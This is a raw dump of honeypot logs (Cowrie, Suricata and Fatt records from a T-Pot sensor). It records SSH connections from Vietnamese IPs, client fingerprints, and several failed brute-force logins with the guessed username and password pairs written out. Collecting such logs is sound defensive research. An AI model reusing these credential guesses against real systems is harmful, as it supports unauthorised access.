128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22855	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:30.101953+03	2021-09-20 14:15:06.74647+03	{"_id": "uwbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/1234567890%*()] failed", "session": "00d3395919dd", "@version": "1", "password": "1234567890%*()", "username": "root", "timestamp": "2021-09-20T11:07:30.101953Z", "@timestamp": "2021-09-20T11:07:30.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22856	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:30.109259+03	2021-09-20 14:15:06.7475+03	{"_id": "vAbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0260ebc84661", "@version": "1", "duration": 2.429532289505005, "timestamp": "2021-09-20T11:07:30.109259Z", "@timestamp": "2021-09-20T11:07:30.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22857	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:30.238992+03	2021-09-20 14:15:06.74851+03	{"_id": "vQbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "321b4cbfd755", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:30.238992Z", "@timestamp": "2021-09-20T11:07:30.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22858	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:30.071136+03	2021-09-20 14:15:06.7505+03	{"_id": "pwbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3cac9f3ff289", "@version": "1", "duration": 2.4126503467559814, "timestamp": "2021-09-20T11:07:30.071136Z", "@timestamp": "2021-09-20T11:07:30.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22859	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:30.491243+03	2021-09-20 14:15:06.75147+03	{"_id": "zAbjAnwBvYTbRNuEuQtt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 581791630045995, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47538, "dest_port": 22, "timestamp": "2021-09-20T11:07:30.491243Z", "@timestamp": "2021-09-20T11:07:30.491Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22861	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:32.174581+03	2021-09-20 14:15:06.754499+03	{"_id": "_wbjAnwBvYTbRNuEvgvN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [bin/alupigus] failed", "session": "b37c111a99c4", "@version": "1", "password": "alupigus", "username": "bin", "timestamp": "2021-09-20T11:07:32.174581Z", "@timestamp": "2021-09-20T11:07:32.174Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22862	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:28.016729+03	2021-09-20 14:15:06.75551+03	{"_id": "RgbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [rui/rui] failed", "session": "ecd82972c77c", "@version": "1", "password": "rui", "username": "rui", "timestamp": "2021-09-20T11:07:28.016729Z", "@timestamp": "2021-09-20T11:07:28.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22863	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:27.95905+03	2021-09-20 14:15:06.75747+03	{"_id": "ZgbjAnwBvYTbRNuEsQuZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 350988677355022, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47826, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.959050Z", "@timestamp": "2021-09-20T11:07:27.959Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22864	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:28.739185+03	2021-09-20 14:15:06.758472+03	{"_id": "ZwbjAnwBvYTbRNuEsQuZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 260442176940485, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42966, "dest_port": 22, "timestamp": "2021-09-20T11:07:28.739185Z", "@timestamp": "2021-09-20T11:07:28.739Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22865	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:28.863014+03	2021-09-20 14:15:06.7595+03	{"_id": "aQbjAnwBvYTbRNuEswsS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:58344 (192.168.176.2:22) [session: 4b89872b6ba9]", "session": "4b89872b6ba9", "@version": "1", "protocol": "ssh", "src_port": 58344, "dest_port": 22, "timestamp": "2021-09-20T11:07:28.863014Z", "@timestamp": "2021-09-20T11:07:28.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22871	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:28.790735+03	2021-09-20 14:15:06.7685+03	{"_id": "gwbjAnwBvYTbRNuEswsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [nagios/123456] failed", "session": "3cac9f3ff289", "@version": "1", "password": "123456", "username": "nagios", "timestamp": "2021-09-20T11:07:28.790735Z", "@timestamp": "2021-09-20T11:07:28.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22866	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:28.739981+03	2021-09-20 14:15:06.7605+03	{"_id": "eQbjAnwBvYTbRNuEswsS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8cd0f79477cf", "@version": "1", "timestamp": "2021-09-20T11:07:28.739981Z", "@timestamp": "2021-09-20T11:07:28.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22867	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:28.756853+03	2021-09-20 14:15:06.762493+03	{"_id": "egbjAnwBvYTbRNuEswsS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "833c701c0d6c", "@version": "1", "duration": 3.281576633453369, "timestamp": "2021-09-20T11:07:28.756853Z", "@timestamp": "2021-09-20T11:07:28.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22868	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:28.534402+03	2021-09-20 14:15:06.764499+03	{"_id": "fAbjAnwBvYTbRNuEswsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:40616 (192.168.176.2:22) [session: a11410308f1c]", "session": "a11410308f1c", "@version": "1", "protocol": "ssh", "src_port": 40616, "dest_port": 22, "timestamp": "2021-09-20T11:07:28.534402Z", "@timestamp": "2021-09-20T11:07:28.534Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22869	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:27.959939+03	2021-09-20 14:15:06.766472+03	{"_id": "jwbjAnwBvYTbRNuEswsY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47826, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.959939", "@timestamp": "2021-09-20T11:07:27.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22870	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:28.56673+03	2021-09-20 14:15:06.7675+03	{"_id": "ggbjAnwBvYTbRNuEswsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a11410308f1c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:28.566730Z", "@timestamp": "2021-09-20T11:07:28.566Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23288	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:14.410272+03	2021-09-20 14:15:07.314472+03	{"_id": "ZQbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b804c76d0e87", "@version": "1", "duration": 2.4529802799224854, "timestamp": "2021-09-20T11:07:14.410272Z", "@timestamp": "2021-09-20T11:07:14.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
